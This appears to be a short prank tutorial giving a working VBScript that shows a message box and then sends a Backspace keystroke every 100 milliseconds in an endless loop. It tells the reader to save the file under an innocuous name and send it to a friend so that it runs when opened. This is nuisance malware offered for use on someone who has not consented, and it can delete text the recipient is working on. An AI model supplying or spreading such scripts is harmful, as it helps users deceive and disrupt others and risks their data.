Frustrate Your Friend by Making this VBScript Hit "Backspace" Simultaneously

Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...